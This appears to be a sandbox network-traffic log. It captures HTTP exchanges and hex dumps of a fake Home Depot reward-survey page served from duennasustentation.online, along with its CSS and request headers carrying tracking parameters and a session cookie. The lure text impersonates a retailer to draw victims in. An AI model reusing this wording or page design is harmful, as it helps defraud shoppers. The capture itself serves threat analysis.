2025-01-08 14:44:32 UTC	1369	IN	Data Raw: 31 63 31 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 48 6f 6d 65 20 44 65 70 Data Ascii: 1c15<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>The Home Dep
2025-01-08 14:44:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 30 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 28 77 69 6e 64 6f 77 2c 20 6c 6f 63 61 74 69 6f 6e 29 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 76 66 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 64 61 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 64 61 2d 6c 6e 31 22 3e 0d Data Ascii: }, 0); } }, false); }(window, location)); </script> </head> <body> <div class="dvfll"> <div class="hda"> <div class="hda-ln1">
2025-01-08 14:44:32 UTC	1369	IN	Data Raw: 20 20 20 20 20 54 65 6c 6c 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 65 78 70 65 72 69 65 6e 63 65 20 77 69 74 68 20 54 68 65 20 48 6f 6d 65 20 44 65 70 6f 74 20 61 6e 64 20 65 6e 74 65 72 20 74 6f 20 77 69 6e 20 74 68 69 73 20 65 78 63 69 74 69 6e 67 20 72 65 77 61 72 64 2a 2e 20 52 65 77 61 72 64 73 20 61 72 65 20 6c 69 6d 69 74 65 64 2c 20 73 6f 20 64 6f 6e e2 80 99 74 20 6d 69 73 73 20 6f 75 74 21 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 72 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: Tell us about your experience with The Home Depot and enter to win this exciting reward*. Rewards are limited, so dont miss out! </p> <br/> <p>
2025-01-08 14:44:32 UTC	1369	IN	Data Raw: 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 Data Ascii: t cltxt"></button> <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button> </div> </div>
2025-01-08 14:44:32 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 74 78 74 22 3e 3c 2f 62 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 Data Ascii: class="cltxt"></b> </h2> <div class="clsnqa"> <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"
2025-01-08 14:44:32 UTC	352	IN	Data Raw: 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 20 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 71 68 64 61 22 3e 3c 2f 73 70 61 6e 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 20 63 6c 61 73 73 3d 22 63 6c 73 71 6e 75 22 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 20 63 6c 61 73 73 3d 22 63 Data Ascii: v class="clsnqaaa animate__animated"> <h2> <span class="qhda"></span><br/><br/> <small class="clsqnu"></small><br/> <b class="c
2025-01-08 14:44:33 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 Data Ascii: 7ffa <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button>
2025-01-08 14:44:33 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 71 68 64 61 22 3e 3c 2f 73 70 61 6e 3e 3c 62 72 2f 3e 3c 62 72 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 20 63 6c 61 73 73 3d 22 63 6c 73 71 6e 75 22 3e 3c 2f 73 6d 61 6c 6c 3e 3c 62 72 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 20 63 6c 61 73 73 3d 22 63 6c 74 78 74 22 3e 3c 2f 62 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 22 3e 0d 0a Data Ascii: <span class="qhda"></span><br/><br/> <small class="clsqnu"></small><br/> <b class="cltxt"></b> </h2> <div class="clsnqa">
2025-01-08 14:44:33 UTC	1369	IN	Data Raw: 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 39 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 20 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: qaaa-select cltxt"></button> </div> </div> ... 9 --> ... <div class="clsnqaaa animate__animated"> <h2>
2025-01-08 14:44:33 UTC	1369	IN	Data Raw: 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 6e 71 61 61 61 2d 73 65 6c 65 63 74 20 63 6c 74 78 74 22 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 Data Ascii: <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button> <button class="clsnqaaa-select cltxt"></button> <button cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49727	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:33 UTC	769	OUT	GET /css/style.css HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:34 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:34 GMT Content-Type: text/css Content-Length: 16895 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d293f-41ff" expires: Wed, 08 Jan 2025 14:44:33 GMT last-modified: Tue, 07 Jan 2025 13:16:47 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aImKF%2FyRNNG0U4XrUxvtdl41YC5fC1YYAPiWvs2DwJNZKMz8ZOKpb3ocplyuPLdjFCADf8QbKANeMDHEqjztci5npK%2Ffuc9rtMYVdO6ZcTTMrb6amj6G5MunQF7zhWn4gz2Ww5HGoDUQCjCu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf75dfecb8c24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1836&rtt_var=697&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1347&delivery_rate=1561497&cwnd=141&unsent_bytes=0&cid=f28e9064e32e3020&ts=968&x=0"
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 3a 72 6f 6f 74 7b 0d 0a 20 20 20 20 2d 2d 62 74 6e 62 67 3a 23 66 39 36 33 30 32 3b 0d 0a 20 20 20 20 2d 2d 62 74 6e 63 6c 72 3a 23 66 66 66 3b 0d 0a 20 20 20 20 2d 2d 62 74 6e 62 72 64 72 3a 23 66 39 36 33 30 32 3b 0d 0a 20 20 20 20 2d 2d 62 74 6e 62 67 2d 68 6f 76 65 72 3a 23 32 32 32 3b 0d 0a 20 20 20 20 2d 2d 62 74 6e 63 6c 72 2d 68 6f 76 65 72 3a 23 66 66 66 3b 0d 0a 20 20 20 20 2d 2d 62 74 6e 62 72 64 72 2d 68 6f 76 65 72 3a 23 32 32 32 3b 0d 0a 0d 0a 20 20 20 20 2d 2d 68 64 62 67 2d 6c 6e 31 3a 23 66 39 36 33 30 32 3b 0d 0a 20 20 20 20 2d 2d 68 64 63 6c 72 2d 6c 6e 31 3a 23 66 37 66 37 66 37 3b 0d 0a 0d 0a 20 20 20 20 2d 2d 68 64 62 67 2d 6c 6e 32 3a 23 66 66 66 3b 0d 0a 20 20 20 20 2d 2d 68 64 63 6c 72 2d 6c 6e 32 3a 23 32 32 32 3b 0d 0a 0d 0a 20 Data Ascii: :root{ --btnbg:#f96302; --btnclr:#fff; --btnbrdr:#f96302; --btnbg-hover:#222; --btnclr-hover:#fff; --btnbrdr-hover:#222; --hdbg-ln1:#f96302; --hdclr-ln1:#f7f7f7; --hdbg-ln2:#fff; --hdclr-ln2:#222;
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 64 20 76 61 72 28 2d 2d 62 74 6e 62 72 64 72 2d 68 6f 76 65 72 29 3b 0d 0a 7d 0d 0a 0d 0a 23 61 6e 69 6d 61 74 65 5f 62 74 6e 5f 30 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 61 6e 69 6d 61 74 65 5f 62 74 6e 5f 30 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 68 69 6e 65 20 33 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 20 69 6e 66 69 6e 69 74 65 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 Data Ascii: d var(--btnbrdr-hover);}#animate_btn_0 { position: relative; overflow: hidden}#animate_btn_0::after { animation: shine 3s ease-in-out infinite; animation-fill-mode: forwards; content: ""; position: absolute;
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 0d 0a 7d 0d 0a 0d 0a 2e 68 64 61 2d 6c 6e 32 20 2e 68 64 61 2d 6c 69 6e 65 20 68 72 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 34 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 68 64 63 6c 72 2d 6c 6e 32 29 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 64 61 2d 6c 6e 32 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 68 64 62 67 2d 6c 6e 32 29 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 68 64 63 6c 72 2d 6c 6e 32 29 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 Data Ascii: }.hda-ln2 .hda-line hr{ width: 40px; border: 0px solid #000; background-color: var(--hdclr-ln2); height: 1px;}.hda-ln2{ background-color: var(--hdbg-ln2); color: var(--hdclr-ln2); text-align: center;}.h
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 37 38 70 78 29 20 7b 0d 0a 20 20 20 20 2e 63 6f 6e 2d 62 6f 64 79 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 35 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 62 64 79 61 6c 6e 31 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 20 30 70 78 20 35 70 78 20 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 62 64 79 61 6c 6e 31 2d 69 6e 6e 31 7b 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 Data Ascii: text-align: center;}@media (max-width:678px) { .con-body{ margin: 10px; padding: 5px 15px; } .bdyaln1{ display: block; padding: 0px 0px 5px 0px; } .bdyaln1-inn1{ text-ali
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 30 70 78 20 32 70 78 20 32 70 78 20 23 64 31 64 31 64 31 3b 0d 0a 20 20 20 20 2f 2a 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 62 61 6e 6e 65 72 2e 6a 70 67 27 29 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6f 75 74 74 65 72 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 32 70 78 20 64 61 73 68 65 64 Data Ascii: or: #fff; padding: 10px; border-radius: 3px; box-shadow: 0px 0px 2px 2px #d1d1d1; /* background-image: url('../images/banner.jpg'); background-size: cover; */}.prrza .prrzaooutter{ padding: 10px; border: 2px dashed
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6d 6f 75 6e 74 2c 0d 0a 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 73 74 6f 63 6b 2c 0d 0a 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 70 66 73 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 20 30 70 78 20 30 70 78 20 31 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 61 6d 6f 75 6e 74 20 64 65 6c 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 65 62 30 30 30 30 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 72 72 7a 61 20 2e 70 72 72 7a 61 6f 6c 6e 32 20 2e 70 72 72 7a 62 6f 61 6d 6f 75 6e 74 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 61 6c 69 67 6e 2d Data Ascii: mount,.prrza .prrzaoln2 .prrzbostock,.prrza .prrzaoln2 .prrzbopfs{ margin: 0px; padding: 0px 0px 0px 10px;}.prrza .prrzaoln2 .prrzboamount del{ color: #eb0000;}.prrza .prrzaoln2 .prrzboamount{ display: flex; align-
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 6e 67 3a 20 2e 36 72 65 6d 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 30 70 78 20 2d 31 30 70 78 20 30 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 38 30 25 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 34 36 34 36 34 36 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 74 72 61 6e 73 66 6f 72 6d 20 2e 35 73 3b 0d 0a 7d 0d 0a 0d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 37 38 70 78 29 20 7b 0d 0a 20 20 20 20 2e 70 72 72 7a 61 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 32 35 70 78 20 32 35 70 78 3b 0d 0a 20 20 20 20 Data Ascii: ng: .6rem; margin: 10px -10px 0px 10px; width: 80%; border: 1px solid #464646; border-radius: 3px; cursor:not-allowed; transition: transform .5s;}@media (max-width:678px) { .prrza{ margin: 25px 25px;
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 0a 7d 0d 0a 0d 0a 2e 63 6d 6d 74 74 69 74 6c 65 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 0d 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 62 61 73 65 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6d 6d 74 74 69 74 6c 65 20 73 70 61 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 70 78 2c 31 30 70 78 29 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 36 33 36 Data Ascii: }.cmmttitle{ display: flex; justify-content: space-between; align-items:baseline;}.cmmttitle span:first-child{ padding: 0px; transform: translate(0px,10px); font-size: 18px; font-weight: 600; color: #3636
2025-01-08 14:44:34 UTC	1369	IN	Data Raw: 7b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 63 6d 6d 74 6e 61 6d 65 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 63 6d 6d 74 74 65 78 74 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 63 6d 6d 74 74 65 78 74 20 69 6d 67 7b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 63 6d 6d 74 64 65 73 63 20 2e 63 6d 6d 74 6e 61 6d 65 2c 0d 0a 20 20 20 20 2e 63 6d 6d 74 64 65 73 63 20 2e 63 6d 6d 74 74 Data Ascii: { height: 60px; } .cmmtname{ font-size: 14px; } .cmmttext{ font-size: 13px; } .cmmttext img{ height: 120px; padding-top: 5px; } .cmmtdesc .cmmtname, .cmmtdesc .cmmtt
